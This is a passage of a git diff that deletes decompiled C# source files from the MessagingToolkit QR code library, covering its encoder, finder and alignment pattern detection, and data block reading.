(num5 < num4 || k == 0) - { - result = (sbyte)k; - num4 = num5; - } - } - return result; - } - - public virtual Bitmap Encode(string content, Encoding encoding) - { - //IL_0015: Unknown result type (might be due to invalid IL or missing references) - //IL_001b: Expected O, but got Unknown - //IL_0033: Unknown result type (might be due to invalid IL or missing references) - //IL_0039: Expected O, but got Unknown - bool[][] array = calQrcode(encoding.GetBytes(content)); - SolidBrush val = new SolidBrush(qrCodeBackgroundColor); - Bitmap val2 = new Bitmap(array.Length * qrCodeScale + 1, array.Length * qrCodeScale + 1); - Graphics val3 = Graphics.FromImage((Image)(object)val2); - val3.FillRectangle((Brush)(object)val, new Rectangle(0, 0, ((Image)val2).Width, ((Image)val2).Height)); - val.Color = qrCodeForegroundColor; - for (int i = 0; i < array.Length; i++) - { - for (int j = 0; j < array.Length; j++) - { - if (array[j][i]) - { - val3.FillRectangle((Brush)(object)val, j * qrCodeScale, i * qrCodeScale, qrCodeScale, qrCodeScale); - } - } - } - return val2; - } - - public virtual Bitmap Encode(string content) - { - if (QRCodeUtility.IsUniCode(content)) - { - return Encode(content, Encoding.Unicode); - } - return Encode(content, Encoding.ASCII); - } - - internal static Stream GetEmbeddedFile(string fileName) - { - string name = typeof(QRCodeEncoder).Assembly.GetName().Name; - try - { - Assembly assembly = Assembly.Load(name); - Stream manifestResourceStream = assembly.GetManifestResourceStream(name + "." + fileName); - if (manifestResourceStream == null) - { - throw new Exception("Could not locate embedded resource '" + fileName + "' in assembly '" + name + "'"); - } - return manifestResourceStream; - } - catch (Exception ex) - { - throw new Exception(name + ": " + ex.Message); - } - } - - internal static XmlDocument GetEmbeddedXml(string fileName) - { - //IL_0009: Unknown result type (might be due to invalid IL or missing references) - //IL_000f: Expected O, but got Unknown - //IL_000f: Unknown result type (might be due to invalid IL or missing references) - //IL_0015: Expected O, but got Unknown - Stream embeddedFile = GetEmbeddedFile(fileName); - XmlTextReader val = new XmlTextReader(embeddedFile); - XmlDocument val2 = new XmlDocument(); - val2.Load((XmlReader)(object)val); - return val2; - } - - internal static Bitmap GetEmbeddedImage(string fileName) - { - //IL_0009: Unknown result type (might be due to invalid IL or missing references) - //IL_000f: Expected O, but got Unknown - Stream embeddedFile = GetEmbeddedFile(fileName); - return new Bitmap(embeddedFile); - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Reader/Pattern/AlignmentPattern.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Reader/Pattern/AlignmentPattern.cs deleted file mode 100644 index 8f7e5aa..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Reader/Pattern/AlignmentPattern.cs +++ /dev/null @@ -1,218 +0,0 @@ -using MessagingToolkit.QRCode.Codec.Util; -using MessagingToolkit.QRCode.ExceptionHandler; -using MessagingToolkit.QRCode.Geom; - -namespace MessagingToolkit.QRCode.Codec.Reader.Pattern; - -public class AlignmentPattern -{ - internal const int RIGHT = 1; - - internal const int BOTTOM = 2; - - internal const int LEFT = 3; - - internal const int TOP = 4; - - internal static DebugCanvas canvas; - - internal Point[][] center; - - internal int patternDistance; - - public virtual int LogicalDistance => patternDistance; - - internal AlignmentPattern(Point[][] center, int patternDistance) - { - this.center = center; - this.patternDistance = patternDistance; - } - - public static AlignmentPattern findAlignmentPattern(bool[][] image, FinderPattern finderPattern) - { - Point[][] logicalCenter = getLogicalCenter(finderPattern); - int num = logicalCenter[1][0].X - logicalCenter[0][0].X; - Point[][] array = null; - array = getCenter(image, finderPattern, logicalCenter); - return new AlignmentPattern(array, num); - } - - public virtual Point[][] getCenter() - { - return center; - } - - public virtual void setCenter(Point[][] center) - { - this.center = center; - } - - internal static Point[][] getCenter(bool[][] image, FinderPattern finderPattern, Point[][] logicalCenters) - { - int moduleSize = finderPattern.getModuleSize(); - Axis axis = new Axis(finderPattern.getAngle(), moduleSize); - int num = logicalCenters.Length; - Point[][] array = new Point[num][]; - for (int i = 0; i < num; i++) - { - array[i] = new Point[num]; - } - axis.Origin = finderPattern.getCenter(0); - array[0][0] = axis.translate(3, 3); - canvas.drawCross(array[0][0], Color_Fields.BLUE); - axis.Origin = finderPattern.getCenter(1); - array[num - 1][0] = axis.translate(-3, 3); - canvas.drawCross(array[num - 1][0], Color_Fields.BLUE); - axis.Origin = finderPattern.getCenter(2); - array[0][num - 1] = axis.translate(3, -3); - canvas.drawCross(array[0][num - 1], Color_Fields.BLUE); - Point p = array[0][0]; - for (int j = 0; j < num; j++) - { - for (int k = 0; k < num; k++) - { - if ((k == 0 && j == 0) || (k == 0 && j == num - 1) || (k == num - 1 && j == 0)) - { - continue; - } - Point point = null; - if (j == 0) - { - if (k > 0 && k < num - 1) - { - point = axis.translate(array[k - 1][j], logicalCenters[k][j].X - logicalCenters[k - 1][j].X, 0); - } - array[k][j] = new Point(point.X, point.Y); - canvas.drawCross(array[k][j], Color_Fields.RED); - } - else if (k == 0) - { - if (j > 0 && j < num - 1) - { - point = axis.translate(array[k][j - 1], 0, logicalCenters[k][j].Y - logicalCenters[k][j - 1].Y); - } - array[k][j] = new Point(point.X, point.Y); - canvas.drawCross(array[k][j], Color_Fields.RED); - } - else - { - Point point2 = axis.translate(array[k - 1][j], logicalCenters[k][j].X - logicalCenters[k - 1][j].X, 0); - Point point3 = axis.translate(array[k][j - 1], 0, logicalCenters[k][j].Y - logicalCenters[k][j - 1].Y); - array[k][j] = new Point((point2.X + point3.X) / 2, (point2.Y + point3.Y) / 2 + 1); - } - if (finderPattern.Version > 1) - { - Point precisionCenter = getPrecisionCenter(image, array[k][j]); - if (array[k][j].distanceOf(precisionCenter) < 6) - { - canvas.drawCross(array[k][j], Color_Fields.RED); - int num2 = precisionCenter.X - array[k][j].X; - int num3 = precisionCenter.Y - array[k][j].Y; - canvas.println("Adjust AP(" + k + "," + j + ") to d(" + num2 + "," + num3 + ")"); - array[k][j] = precisionCenter; - } - } - canvas.drawCross(array[k][j], Color_Fields.BLUE); - canvas.drawLine(new Line(p, array[k][j]), Color_Fields.LIGHTBLUE); - p = array[k][j]; - } - } - return array; - } - - internal static Point getPrecisionCenter(bool[][] image, Point targetPoint) - { - int x = targetPoint.X; - int y = targetPoint.Y; - if (x < 0 || y < 0 || x > image.Length - 1 || y > image[0].Length - 1) - { - throw new AlignmentPatternNotFoundException("Alignment Pattern finder exceeded out of image"); - } - if (!image[targetPoint.X][targetPoint.Y]) - { - int num = 0; - bool flag = false; - while (!flag) - { - num++; - for (int num2 = num; num2 > -num; num2--) - { - for (int num3 = num; num3 > -num; num3--) - { - int num4 = targetPoint.X + num3; - int num5 = targetPoint.Y + num2; - if (num4 < 0 || num5 < 0 || num4 > image.Length - 1 || num5 > image[0].Length - 1) - { - throw new AlignmentPatternNotFoundException("Alignment Pattern finder exceeded out of image"); - } - if (image[num4][num5]) - { - targetPoint = new Point(targetPoint.X + num3, targetPoint.Y + num2); - flag = true; - } - } - } - } - } - int num7; - int i; - int num6 = (num7 = (i = targetPoint.X)); - int num9; - int j; - int num8 = (num9 = (j = targetPoint.Y)); - while (num7 >= 1 && !targetPointOnTheCorner(image, num7, num8, num7 - 1, num8)) - { - num7--; - } - for (; i < image.Length - 1 && !targetPointOnTheCorner(image, i, num8, i + 1, num8); i++) - { - } - while (num9 >= 1 && !targetPointOnTheCorner(image, num6, num9, num6, num9 - 1)) - { - num9--; - } - for (; j < image[0].Length - 1 && !targetPointOnTheCorner(image, num6, j, num6, j + 1); j++) - { - } - return new Point((num7 + i + 1) / 2, (num9 + j + 1) / 2); - } - - internal static bool targetPointOnTheCorner(bool[][] image, int x, int y, int nx, int ny) - { - if (x < 0 || y < 0 || nx < 0 || ny < 0 || x > image.Length || y > image[0].Length || nx > image.Length || ny > image[0].Length) - { - throw new AlignmentPatternNotFoundException("Alignment Pattern Finder exceeded image edge"); - } - return !image[x][y] && image[nx][ny]; - } - - public static Point[][] getLogicalCenter(FinderPattern finderPattern) - { - int version = finderPattern.Version; - Point[][] array = new Point[1][]; - for (int i = 0; i < 1; i++) - { - array[i] = new Point[1]; - } - int[] array2 = new int[1]; - array2 = LogicalSeed.getSeed(version); - array = new Point[array2.Length][]; - for (int j = 0; j < array2.Length; j++) - { - array[j] = new Point[array2.Length]; - } - for (int k = 0; k < array.Length; k++) - { - for (int l = 0; l < array.Length; l++) - { - array[l][k] = new Point(array2[l], array2[k]); - } - } - return array; - } - - static AlignmentPattern() - { - canvas = QRCodeDecoder.Canvas; - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Reader/Pattern/FinderPattern.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Reader/Pattern/FinderPattern.cs deleted file mode 100644 index 3c4eb10..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Reader/Pattern/FinderPattern.cs +++ /dev/null @@ -1,676 +0,0 @@ -using System; -using System.Collections; -using MessagingToolkit.QRCode.Codec.Util; -using MessagingToolkit.QRCode.ExceptionHandler; -using MessagingToolkit.QRCode.Geom; - -namespace MessagingToolkit.QRCode.Codec.Reader.Pattern; - -public class FinderPattern -{ - public const int UL = 0; - - public const int UR = 1; - - public const int DL = 2; - - internal static readonly int[] VersionInfoBit; - - internal static DebugCanvas canvas; - - internal Point[] center; - - internal int version; - - internal int[] sincos; - - internal int[] width; - - internal int[] moduleSize; - - public virtual int Version => version; - - public virtual int SqrtNumModules => 17 + 4 * version; - - public static FinderPattern findFinderPattern(bool[][] image) - { - Line[] lineAcross = findLineAcross(image); - Line[] crossLines = findLineCross(lineAcross); - Point[] array = null; - try - { - array = getCenter(crossLines); - } - catch (FinderPatternNotFoundException ex) - { - throw ex; - } - int[] angle = getAngle(array); - array = sort(array, angle); - int[] array2 = getWidth(image, array, angle); - int[] array3 = new int[3] - { - (array2[0] << QRCodeImageReader.DECIMAL_POINT) / 7, - (array2[1] << QRCodeImageReader.DECIMAL_POINT) / 7, - (array2[2] << QRCodeImageReader.DECIMAL_POINT) / 7 - }; - int num = calcRoughVersion(array, array2); - if (num > 6) - { - try - { - num = calcExactVersion(array, angle, array3, image); - } - catch (VersionInformationException) - { - } - } - return new FinderPattern(array, num, angle, array2, array3); - } - - internal FinderPattern(Point[] center, int version, int[] sincos, int[] width, int[] moduleSize) - { - this.center = center; - this.version = version; - this.sincos = sincos; - this.width = width; - this.moduleSize = moduleSize; - } - - public virtual Point[] getCenter() - { - return center; - } - - public virtual Point getCenter(int position) - { - if (position >= 0 && position <= 2) - { - return center[position]; - } - return null; - } - - public virtual int getWidth(int position) - { - return width[position]; - } - - public virtual int[] getAngle() - { - return sincos; - } - - public virtual int getModuleSize() - { - return moduleSize[0]; - } - - public virtual int getModuleSize(int place) - { - return moduleSize[place]; - } - - internal static Line[] findLineAcross(bool[][] image) - { - int num = 0; - int num2 = 1; - int num3 = image.Length; - int num4 = image[0].Length; - Point point = new Point(); - ArrayList arrayList = ArrayList.Synchronized(new ArrayList(10)); - int[] array = new int[5]; - int num5 = 0; - int num6 = num; - bool flag = false; - while (true) - { - bool flag2 = true; - bool flag3 = image[point.X][point.Y]; - if (flag3 == flag) - { - array[num5]++; - } - else - { - if (!flag3 && checkPattern(array, num5)) - { - int num7; - int x; - int num8; - int y; - if (num6 == num) - { - num7 = point.X; - for (int i = 0; i < 5; i++) - { - num7 -= array[i]; - } - x = point.X - 1; - num8 = (y = point.Y); - } - else - { - num7 = (x = point.X); - num8 = point.Y; - for (int i = 0; i < 5; i++) - { - num8 -= array[i]; - } - y = point.Y - 1; - } - arrayList.Add(new Line(num7, num8, x, y)); - } - num5 = (num5 + 1) % 5; - array[num5] = 1; - flag = !flag; - } - if (num6 == num) - { - if (point.X < num3 - 1) - { - point.translate(1, 0); - } - else if (point.Y < num4 - 1) - { - point.set_Renamed(0, point.Y + 1); - array = new int[5]; - } - else - { - point.set_Renamed(0, 0); - array = new int[5]; - num6 = num2; - } - } - else if (point.Y < num4 - 1) - { - point.translate(0, 1); - } - else - { - if (point.X >= num3 - 1) - { - break; - } - point.set_Renamed(point.X + 1, 0); - array = new int[5]; - } - } - Line[] array2 = new Line[arrayList.Count]; - for (int j = 0; j < array2.Length; j++) - { - array2[j] = (Line)arrayList[j]; - } - canvas.drawLines(array2, Color_Fields.LIGHTGREEN); - return array2; - } - - internal static bool checkPattern(int[] buffer, int pointer) - { - int[] array = new int[5] { 1, 1, 3, 1, 1 }; - int num = 0; - for (int i = 0; i < 5; i++) - { - num += buffer[i]; - } - num <<= QRCodeImageReader.DECIMAL_POINT; - num /= 7; - for (int j = 0; j < 5; j++) - { - int num2 = num * array[j] - num / 2; - int num3 = num * array[j] + num / 2; - int num4 = buffer[(pointer + j + 1) % 5] << QRCodeImageReader.DECIMAL_POINT; - if (num4 < num2 || num4 > num3) - { - return false; - } - } - return true; - } - - internal static Line[] findLineCross(Line[] lineAcross) - { - ArrayList arrayList = ArrayList.Synchronized(new ArrayList(10)); - ArrayList arrayList2 = ArrayList.Synchronized(new ArrayList(10)); - ArrayList arrayList3 = ArrayList.Synchronized(new ArrayList(10)); - for (int i = 0; i < lineAcross.Length; i++) - { - arrayList3.Add(lineAcross[i]); - } - for (int i = 0; i < arrayList3.Count - 1; i++) - { - arrayList2.Clear(); - arrayList2.Add(arrayList3[i]); - for (int j = i + 1; j < arrayList3.Count; j++) - { - if (Line.isNeighbor((Line)arrayList2[arrayList2.Count - 1], (Line)arrayList3[j])) - { - arrayList2.Add(arrayList3[j]); - Line line = (Line)arrayList2[arrayList2.Count - 1]; - if (arrayList2.Count * 5 > line.Length && j == arrayList3.Count - 1) - { - arrayList.Add(arrayList2[arrayList2.Count / 2]); - for (int k = 0; k < arrayList2.Count; k++) - { - arrayList3.Remove(arrayList2[k]); - } - } - } - else - { - if (!cantNeighbor((Line)arrayList2[arrayList2.Count - 1], (Line)arrayList3[j]) && j != arrayList3.Count - 1) - { - continue; - } - Line line = (Line)arrayList2[arrayList2.Count - 1]; - if (arrayList2.Count * 6 > line.Length) - { - arrayList.Add(arrayList2[arrayList2.Count / 2]); - for (int k = 0; k < arrayList2.Count; k++) - { - arrayList3.Remove(arrayList2[k]); - } - } - break; - } - } - } - Line[] array = new Line[arrayList.Count]; - for (int i = 0; i < array.Length; i++) - { - array[i] = (Line)arrayList[i]; - } - return array; - } - - internal static bool cantNeighbor(Line line1, Line line2) - { - if (Line.isCross(line1, line2)) - { - return true; - } - if (line1.Horizontal) - { - if (Math.Abs(line1.getP1().Y - line2.getP1().Y) > 1) - { - return true; - } - return false; - } - if (Math.Abs(line1.getP1().X - line2.getP1().X) > 1) - { - return true; - } - return false; - } - - internal static int[] getAngle(Point[] centers) - { - Line[] array = new Line[3]; - for (int i = 0; i < array.Length; i++) - { - array[i] = new Line(centers[i], centers[(i + 1) % array.Length]); - } - Line longest = Line.getLongest(array); - Point point = new Point(); - for (int i = 0; i < centers.Length; i++) - { - if (!longest.getP1().equals(centers[i]) && !longest.getP2().equals(centers[i])) - { - point = centers[i]; - break; - } - } - canvas.println("originPoint is: " + point); - Point point2 = new Point(); - point2 = (((point.Y <= longest.getP1().Y) & (point.Y <= longest.getP2().Y)) ? ((longest.getP1().X >= longest.getP2().X) ? longest.getP1() : longest.getP2()) : (((point.X >= longest.getP1().X) & (point.X >= longest.getP2().X)) ? ((longest.getP1().Y >= longest.getP2().Y) ? longest.getP1() : longest.getP2()) : (((point.Y >= longest.getP1().Y) & (point.Y >= longest.getP2().Y)) ? ((longest.getP1().X >= longest.getP2().X) ? longest.getP2() : longest.getP1()) : ((longest.getP1().Y >= longest.getP2().Y) ? longest.getP2() : longest.getP1())))); - int length = new Line(point, point2).Length; - return new int[2] - { - (point2.Y - point.Y << QRCodeImageReader.DECIMAL_POINT) / length, - (point2.X - point.X << QRCodeImageReader.DECIMAL_POINT) / length - }; - } - - internal static Point[] getCenter(Line[] crossLines) - { - ArrayList arrayList = ArrayList.Synchronized(new ArrayList(10)); - for (int i = 0; i < crossLines.Length - 1; i++) - { - Line line = crossLines[i]; - for (int j = i + 1; j < crossLines.Length; j++) - { - Line line2 = crossLines[j]; - if (Line.isCross(line, line2)) - { - int num = 0; - int num2 = 0; - if (line.Horizontal) - { - num = line.Center.X; - num2 = line2.Center.Y; - } - else - { - num = line2.Center.X; - num2 = line.Center.Y; - } - arrayList.Add(new Point(num, num2)); - } - } - } - Point[] array = new Point[arrayList.Count]; - for (int i = 0; i < array.Length; i++) - { - array[i] = (Point)arrayList[i]; - } - if (array.Length == 3) - { - canvas.drawPolygon(array, Color_Fields.RED); - return array; - } - throw new FinderPatternNotFoundException("Invalid number of Finder Pattern detected"); - } - - internal static Point[] sort(Point[] centers, int[] angle) - { - Point[] array = new Point[3]; - switch (getURQuadant(angle)) - { - case 1: - array[1] = getPointAtSide(centers, 1, 2); - array[2] = getPointAtSide(centers, 2, 4); - break; - case 2: - array[1] = getPointAtSide(centers, 2, 4); - array[2] = getPointAtSide(centers, 8, 4); - break; - case 3: - array[1] = getPointAtSide(centers, 4, 8); - array[2] = getPointAtSide(centers, 1, 8); - break; - case 4: - array[1] = getPointAtSide(centers, 8, 1); - array[2] = getPointAtSide(centers, 2, 1); - break; - } - for (int i = 0; i < centers.Length; i++) - { - if (!centers[i].equals(array[1]) && !centers[i].equals(array[2])) - { - array[0] = centers[i]; - } - } - return array; - } - - internal static int getURQuadant(int[] angle) - { - int num = angle[0]; - int num2 = angle[1]; - if (num >= 0 && num2 > 0) - { - return 1; - } - if (num > 0 && num2 <= 0) - { - return 2; - } - if (num <= 0 && num2 < 0) - { - return 3; - } - if (num < 0 && num2 >= 0) - { - return 4; - } - return 0; - } - - internal static Point getPointAtSide(Point[] points, int side1, int side2) - { - Point point = new Point(); - int x = ((side1 != 1 && side2 != 1) ? int.MaxValue : 0); - int y = ((side1 != 2 && side2 != 2) ? int.MaxValue : 0); - point = new Point(x, y); - for (int i = 0; i < points.Length; i++) - { - switch (side1) - { - case 1: - if (point.X < points[i].X) - { - point = points[i]; - } - else - { - if (point.X != points[i].X) - { - break; - } - if (side2 == 2) - { - if (point.Y < points[i].Y) - { - point = points[i]; - } - } - else if (point.Y > points[i].Y) - { - point = points[i]; - } - } - break; - case 2: - if (point.Y < points[i].Y) - { - point = points[i]; - } - else - { - if (point.Y != points[i].Y) - { - break; - } - if (side2 == 1) - { - if (point.X < points[i].X) - { - point = points[i]; - } - } - else if (point.X > points[i].X) - { - point = points[i]; - } - } - break; - case 4: - if (point.X > points[i].X) - { - point = points[i]; - } - else - { - if (point.X != points[i].X) - { - break; - } - if (side2 == 2) - { - if (point.Y < points[i].Y) - { - point = points[i]; - } - } - else if (point.Y > points[i].Y) - { - point = points[i]; - } - } - break; - case 8: - if (point.Y > points[i].Y) - { - point = points[i]; - } - else - { - if (point.Y != points[i].Y) - { - break; - } - if (side2 == 1) - { - if (point.X < points[i].X) - { - point = points[i]; - } - } - else if (point.X > points[i].X) - { - point = points[i]; - } - } - break; - } - } - return point; - } - - internal static int[] getWidth(bool[][] image, Point[] centers, int[] sincos) - { - int[] array = new int[3]; - for (int i = 0; i < 3; i++) - { - bool flag = false; - int y = centers[i].Y; - int num; - for (num = centers[i].X; num > 0; num--) - { - if (image[num][y] && !image[num - 1][y]) - { - if (flag) - { - break; - } - flag = true; - } - } - flag = false; - int j; - for (j = centers[i].X; j < image.Length; j++) - { - if (image[j][y] && !image[j + 1][y]) - { - if (flag) - { - break; - } - flag = true; - } - } - array[i] = j - num + 1; - } - return array; - } - - internal static int calcRoughVersion(Point[] center, int[] width) - { - int dECIMAL_POINT = QRCodeImageReader.DECIMAL_POINT; - int num = new Line(center[0], center[1]).Length << dECIMAL_POINT; - int num2 = (width[0] + width[1] << dECIMAL_POINT) / 14; - int num3 = (num / num2 - 10) / 4; - if ((num / num2 - 10) % 4 >= 2) - { - num3++; - } - return num3; - } - - internal static int calcExactVersion(Point[] centers, int[] angle, int[] moduleSize, bool[][] image) - { - bool[] array = new bool[18]; - Point[] array2 = new Point[18]; - Axis axis = new Axis(angle, moduleSize[1]); - axis.Origin = centers[1]; - for (int i = 0; i < 6; i++) - { - for (int j = 0; j < 3; j++) - { - Point point = axis.translate(j - 7, i - 3); - array[j + i * 3] = image[point.X][point.Y]; - array2[j + i * 3] = point; - } - } - canvas.drawPoints(array2, Color_Fields.RED); - int num = 0; - try - { - return checkVersionInfo(array); - } - catch (InvalidVersionInfoException) - { - canvas.println("Version info error. now retry with other place one."); - axis.Origin = centers[2]; - axis.ModulePitch = moduleSize[2]; - for (int j = 0; j < 6; j++) - { - for (int i = 0; i < 3; i++) - { - Point point = axis.translate(j - 3, i - 7); - array[i + j * 3] = image[point.X][point.Y]; - array2[j + i * 3] = point; - } - } - canvas.drawPoints(array2, Color_Fields.RED); - try - { - return checkVersionInfo(array); - } - catch (VersionInformationException ex2) - { - throw ex2; - } - } - } - - internal static int checkVersionInfo(bool[] target) - { - int num = 0; - int i; - for (i = 0; i < VersionInfoBit.Length; i++) - { - num = 0; - for (int j = 0; j < 18; j++) - { - if (target[j] ^ ((VersionInfoBit[i] >> j) % 2 == 1)) - { - num++; - } - } - if (num <= 3) - { - break; - } - } - if (num <= 3) - { - return 7 + i; - } - throw new InvalidVersionInfoException("Too many errors in version information"); - } - - static FinderPattern() - { - VersionInfoBit = new int[34] - { - 31892, 34236, 39577, 42195, 48118, 51042, 55367, 58893, 63784, 68472, - 70749, 76311, 79154, 84390, 87683, 92361, 96236, 102084, 102881, 110507, - 110734, 117786, 119615, 126325, 127568, 133589, 136944, 141498, 145311, 150283, - 152622, 158308, 161089, 167017 - }; - canvas = QRCodeDecoder.Canvas; - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Reader/Pattern/LogicalSeed.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Reader/Pattern/LogicalSeed.cs deleted file mode 100644 index 1a8e2d0..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Reader/Pattern/LogicalSeed.cs +++ /dev/null @@ -1,61 +0,0 @@ -namespace MessagingToolkit.QRCode.Codec.Reader.Pattern; - -public class LogicalSeed -{ - private static int[][] seed; - - public static int[] getSeed(int version) - { - return seed[version - 1]; - } - - public static int getSeed(int version, int patternNumber) - { - return seed[version - 1][patternNumber]; - } - - static LogicalSeed() - { - seed = new int[40][]; - seed[0] = new int[2] { 6, 14 }; - seed[1] = new int[2] { 6, 18 }; - seed[2] = new int[2] { 6, 22 }; - seed[3] = new int[2] { 6, 26 }; - seed[4] = new int[2] { 6, 30 }; - seed[5] = new int[2] { 6, 34 }; - seed[6] = new int[3] { 6, 22, 38 }; - seed[7] = new int[3] { 6, 24, 42 }; - seed[8] = new int[3] { 6, 26, 46 }; - seed[9] = new int[3] { 6, 28, 50 }; - seed[10] = new int[3] { 6, 30, 54 }; - seed[11] = new int[3] { 6, 32, 58 }; - seed[12] = new int[3] { 6, 34, 62 }; - seed[13] = new int[4] { 6, 26, 46, 66 }; - seed[14] = new int[4] { 6, 26, 48, 70 }; - seed[15] = new int[4] { 6, 26, 50, 74 }; - seed[16] = new int[4] { 6, 30, 54, 78 }; - seed[17] = new int[4] { 6, 30, 56, 82 }; - seed[18] = new int[4] { 6, 30, 58, 86 }; - seed[19] = new int[4] { 6, 34, 62, 90 }; - seed[20] = new int[5] { 6, 28, 50, 72, 94 }; - seed[21] = new int[5] { 6, 26, 50, 74, 98 }; - seed[22] = new int[5] { 6, 30, 54, 78, 102 }; - seed[23] = new int[5] { 6, 28, 54, 80, 106 }; - seed[24] = new int[5] { 6, 32, 58, 84, 110 }; - seed[25] = new int[5] { 6, 30, 58, 86, 114 }; - seed[26] = new int[5] { 6, 34, 62, 90, 118 }; - seed[27] = new int[6] { 6, 26, 50, 74, 98, 122 }; - seed[28] = new int[6] { 6, 30, 54, 78, 102, 126 }; - seed[29] = new int[6] { 6, 26, 52, 78, 104, 130 }; - seed[30] = new int[6] { 6, 30, 56, 82, 108, 134 }; - seed[31] = new int[6] { 6, 34, 60, 86, 112, 138 }; - seed[32] = new int[6] { 6, 30, 58, 86, 114, 142 }; - seed[33] = new int[6] { 6, 34, 62, 90, 118, 146 }; - seed[34] = new int[7] { 6, 30, 54, 78, 102, 126, 150 }; - seed[35] = new int[7] { 6, 24, 50, 76, 102, 128, 154 }; - seed[36] = new int[7] { 6, 28, 54, 80, 106, 132, 158 }; - seed[37] = new int[7] { 6, 32, 58, 84, 110, 136, 162 }; - seed[38] = new int[7] { 6, 26, 54, 82, 110, 138, 166 }; - seed[39] = new int[7] { 6, 30, 58, 86, 114, 142, 170 }; - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Reader/QRCodeDataBlockReader.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Reader/QRCodeDataBlockReader.cs deleted file mode 100644 index 0866150..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Reader/QRCodeDataBlockReader.cs +++ /dev/null @@ -1,425 +0,0 @@ -using System; -using System.IO; -using MessagingToolkit.QRCode.Codec.Util; -using MessagingToolkit.QRCode.ExceptionHandler; - -namespace MessagingToolkit.QRCode.Codec.Reader; - -public class QRCodeDataBlockReader -{ - private const int MODE_NUMBER = 1; - - private const int MODE_ROMAN_AND_NUMBER = 2; - - private const int MODE_8BIT_BYTE = 4; - - private const int MODE_KANJI = 8; - - internal int[] blocks; - - internal int dataLengthMode; - - internal int blockPointer; - - internal int bitPointer; - - internal int dataLength; - - internal int numErrorCorrectionCode; - - internal DebugCanvas canvas; - - private int[][] sizeOfDataLengthInfo = new int[3][] - { - new int[4] { 10, 9, 8, 8 }, - new int[4] { 12, 11, 16, 10 }, - new int[4] { 14, 13, 16, 12 } - }; - - internal virtual int NextMode - { - get - { - if (blockPointer > blocks.Length - numErrorCorrectionCode - 2) - { - return 0; - } - return getNextBits(4); - } - } - - public virtual sbyte[] DataByte - { - get - { - canvas.println("Reading data blocks."); - MemoryStream memoryStream = new MemoryStream(); - try - { - while (true) - { - int nextMode = NextMode; - switch (nextMode) - { - case 0: - if (memoryStream.Length > 0) - { - goto end_IL_0019; - } - throw new InvalidDataBlockException("Empty data block"); - default: - if (nextMode != 8) - { - throw new InvalidDataBlockException("Invalid mode: " + nextMode + " in (block:" + blockPointer + " bit:" + bitPointer + ")"); - } - break; - case 1: - case 2: - case 4: - break; - } - dataLength = getDataLength(nextMode); - if (dataLength < 1) - { - throw new InvalidDataBlockException("Invalid data length: " + dataLength); - } - switch (nextMode) - { - case 1: - { - sbyte[] array4 = SystemUtils.ToSByteArray(SystemUtils.ToByteArray(getFigureString(dataLength))); - memoryStream.Write(SystemUtils.ToByteArray(array4), 0, array4.Length); - break; - } - case 2: - { - sbyte[] array3 = SystemUtils.ToSByteArray(SystemUtils.ToByteArray(getRomanAndFigureString(dataLength))); - memoryStream.Write(SystemUtils.ToByteArray(array3), 0, array3.Length); - break; - } - case 4: - { - sbyte[] array2 = get8bitByteArray(dataLength); - memoryStream.Write(SystemUtils.ToByteArray(array2), 0, array2.Length); - break; - } - case 8: - { - sbyte[] array = SystemUtils.ToSByteArray(SystemUtils.ToByteArray(getKanjiString(dataLength))); - memoryStream.Write(SystemUtils.ToByteArray(array), 0, array.Length); - break; - } - } - bool flag = true; - continue; - end_IL_0019: - break; - } - } - catch (IndexOutOfRangeException throwable) - { - SystemUtils.WriteStackTrace(throwable, Console.Error); - throw new InvalidDataBlockException("Data Block Error in (block:" + blockPointer + " bit:" + bitPointer + ")"); - } - catch (IOException ex) - { - throw new InvalidDataBlockException(ex.Message); - } - return SystemUtils.ToSByteArray(memoryStream.ToArray()); - } - } - - public virtual string DataString - { - get - { - canvas.println("Reading data blocks..."); - string text = ""; - while (true) - { - int nextMode = NextMode; - canvas.println("mode: " + nextMode); - if (nextMode == 0) - { - break; - } - if (nextMode == 1 || nextMode == 2 || nextMode == 4 || nextMode != 8) - { - } - dataLength = getDataLength(nextMode); - canvas.println(Convert.ToString(blocks[blockPointer])); - Console.Out.WriteLine("length: " + dataLength); - switch (nextMode) - { - case 1: - text += getFigureString(dataLength); - break; - case 2: - text += getRomanAndFigureString(dataLength); - break; - case 4: - text += get8bitByteString(dataLength); - break; - case 8: - text += getKanjiString(dataLength); - break; - } - bool flag = true; - } - Console.Out.WriteLine(""); - return text; - } - } - - public QRCodeDataBlockReader(int[] blocks, int version, int numErrorCorrectionCode) - { - blockPointer = 0; - bitPointer = 7; - dataLength = 0; - this.blocks = blocks; - this.numErrorCorrectionCode = numErrorCorrectionCode; - if (version <= 9) - { - dataLengthMode = 0; - } - else if (version >= 10 && version <= 26) - { - dataLengthMode = 1; - } - else if (version >= 27 && version <= 40) - { - dataLengthMode = 2; - } - canvas = QRCodeDecoder.Canvas; - } - - internal virtual int getNextBits(int numBits) - { - int num = 0; - if (numBits < bitPointer + 1) - { - int num2 = 0; - for (int i = 0; i < numBits; i++) - { - num2 += 1 << i; - } - num2 <<= bitPointer - numBits + 1; - num = (blocks[blockPointer] & num2) >> bitPointer - numBits + 1; - bitPointer -= numBits; - return num; - } - if (numBits < bitPointer + 1 + 8) - { - int num3 = 0; - for (int i = 0; i < bitPointer + 1; i++) - { - num3 += 1 << i; - } - num = (blocks[blockPointer] & num3) << numBits - (bitPointer + 1); - blockPointer++; - num += blocks[blockPointer] >> 8 - (numBits - (bitPointer + 1)); - bitPointer -= numBits % 8; - if (bitPointer < 0) - { - bitPointer = 8 + bitPointer; - } - return num; - } - if (numBits < bitPointer + 1 + 16) - { - 